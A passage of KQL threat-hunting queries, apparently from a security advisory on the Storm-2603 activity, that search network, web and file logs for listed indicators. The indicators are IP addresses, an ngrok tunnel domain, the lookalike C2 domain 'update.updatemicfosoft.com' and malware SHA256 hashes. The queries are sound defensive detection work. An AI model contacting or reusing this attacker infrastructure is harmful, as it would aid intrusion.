ioc_ip_addr = dynamic(["131.226.2.6", "134.199.202.205", "104.238.159.149", "188.130.206.168"]); let ioc_domains = dynamic(["c34718cbb4c6.ngrok-free.app"]); _Im_NetworkSession(starttime=todatetime(ago(lookback)), endtime=now()) | where DstIpAddr in (ioc_ip_addr) or DstDomain has_any (ioc_domains) | summarize imNWS_mintime=min(TimeGenerated), imNWS_maxtime=max(TimeGenerated), EventCount=count() by SrcIpAddr, DstIpAddr, DstDomain, Dvc, EventProduct, EventVendor //IP list - _Im_WebSession let lookback = 30d; let ioc_ip_addr = dynamic(["131.226.2.6", "134.199.202.205", "104.238.159.149", "188.130.206.168"]); let ioc_sha_hashes =dynamic(["92bb4ddb98eeaf11fc15bb32e71d0a63256a0ed826a03ba293ce3a8bf057a514"]); _Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now()) | where DstIpAddr in (ioc_ip_addr) or FileSHA256 in (ioc_sha_hashes) | summarize imWS_mintime=min(TimeGenerated), imWS_maxtime=max(TimeGenerated), EventCount=count() by SrcIpAddr, DstIpAddr, Url, Dvc, EventProduct, EventVendor // file hash list - imFileEvent let ioc_sha_hashes = dynamic(["92bb4ddb98eeaf11fc15bb32e71d0a63256a0ed826a03ba293ce3a8bf057a514"]); imFileEvent | where SrcFileSHA256 in (ioc_sha_hashes) or TargetFileSHA256 in (ioc_sha_hashes) | extend AccountName = tostring(split(User, @'')[1]), AccountNTDomain = tostring(split(User, @'')[0]) | extend AlgorithmType = "SHA256" Post exploitation C2 or file hashes Find devices that may have communicated with Storm-2603 post exploitation C2 or contain known Storm-2603 file hashes: //IP list - _Im_WebSession let lookback = 30d; let ioc_ip_addr = dynamic(["65.38.121.198"]); let ioc_sha_hashes =dynamic(["92bb4ddb98eeaf11fc15bb32e71d0a63256a0ed826a03ba293ce3a8bf057a514", "24480dbe306597da1ba393b6e30d542673066f98826cc07ac4b9033137f37dbf", "b5a78616f709859a0d9f830d28ff2f9dbbb2387df1753739407917e96dadf6b0", "c27b725ff66fdfb11dd6487a3815d1d1eba89d61b0e919e4d06ed3ac6a74fe94", "1eb914c09c873f0a7bcf81475ab0f6bdfaccc6b63bf7e5f2dbf19295106af192", "4c1750a14915bf2c0b093c2cb59063912dfa039a2adfe6d26d6914804e2ae928", "83705c75731e1d590b08f9357bc3b0f04741e92a033618736387512b40dab060", "f54ae00a9bae73da001c4d3d690d26ddf5e8e006b5562f936df472ec5e299441", "b180ab0a5845ed619939154f67526d2b04d28713fcc1904fbd666275538f431d", "6753b840cec65dfba0d7d326ec768bff2495784c60db6a139f51c5e83349ac4d", "7ae971e40528d364fa52f3bb5e0660ac25ef63e082e3bbd54f153e27b31eae68", "567cb8e8c8bd0d909870c656b292b57bcb24eb55a8582b884e0a228e298e7443", "445a37279d3a229ed18513e85f0c8d861c6f560e0f914a5869df14a74b679b86", "ffbc9dfc284b147e07a430fe9471e66c716a84a1f18976474a54bee82605fa9a", "6b273c2179518dacb1218201fd37ee2492a5e1713be907e69bf7ea56ceca53a5", "c2c1fec7856e8d49f5d49267e69993837575dbbec99cd702c5be134a85b2c139"]); _Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now()) | where DstIpAddr in (ioc_ip_addr) or FileSHA256 in (ioc_sha_hashes) | summarize imWS_mintime=min(TimeGenerated), imWS_maxtime=max(TimeGenerated), EventCount=count() by SrcIpAddr, DstIpAddr, Url, Dvc, EventProduct, EventVendor Storm-2603 C2 communication Search for devices that may have communicated with Storm-2603 C2 infrastructure as part of this activity: //IP list and domain list- _Im_NetworkSession let lookback = 30d; let ioc_ip_addr = dynamic(["65.38.121.198"]); let ioc_domains = dynamic(["update.updatemicfosoft.com"]); _Im_NetworkSession(starttime=todatetime(ago(lookback)), endtime=now()) | where DstIpAddr in (ioc_ip_addr) or DstDomain has_any (ioc_domains) | summarize imNWS_mintime=min(TimeGenerated), imNWS_maxtime=max(TimeGenerated), EventCount=count() by SrcIpAddr, DstIpAddr, DstDomain, Dvc, EventProduct, EventVendor